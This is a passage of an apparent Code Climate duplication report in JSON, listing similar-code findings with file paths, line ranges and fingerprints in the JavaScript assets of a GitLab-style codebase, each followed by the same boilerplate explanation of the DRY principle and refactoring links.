Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"70155684217b5724087f40626f7766bc","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":134,"end":137}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":138,"end":141}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"180e35eb524273ddfc92de366020a611","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":138,"end":141}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":134,"end":137}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"180e35eb524273ddfc92de366020a611","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issuable_bulk_update_sidebar.js","lines":{"begin":100,"end":106}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/issuable_bulk_update_sidebar.js","lines":{"begin":117,"end":123}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"672a79b04a463defdd46c0086474fd52","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issuable_bulk_update_sidebar.js","lines":{"begin":117,"end":123}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/issuable_bulk_update_sidebar.js","lines":{"begin":100,"end":106}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"672a79b04a463defdd46c0086474fd52","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":66,"end":69}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":146,"end":149}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4ebfab6abe3fb873067f7b37190c9136","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":146,"end":149}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":66,"end":69}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4ebfab6abe3fb873067f7b37190c9136","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":46,"end":53}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":60,"end":67}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"10bdf4c525726570be1c10982443983e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":60,"end":67}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":46,"end":53}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"10bdf4c525726570be1c10982443983e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/dropdown_hint.js","lines":{"begin":75,"end":77}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/dropdown_user.js","lines":{"begin":78,"end":80}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"223d4160dbc2f173c7019bf4258bf71a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/dropdown_user.js","lines":{"begin":78,"end":80}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/dropdown_hint.js","lines":{"begin":75,"end":77}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2f69c39865bb0c31ba27242592efb90a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1451,"end":1457}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1459,"end":1465}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"06432a7535afbcbc307fe2c2fad49f03","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1459,"end":1465}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1451,"end":1457}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"06432a7535afbcbc307fe2c2fad49f03","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":63,"end":66}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":423,"end":426}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3cf8b42abcd81551bbf1d4b6a86a23ec","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider 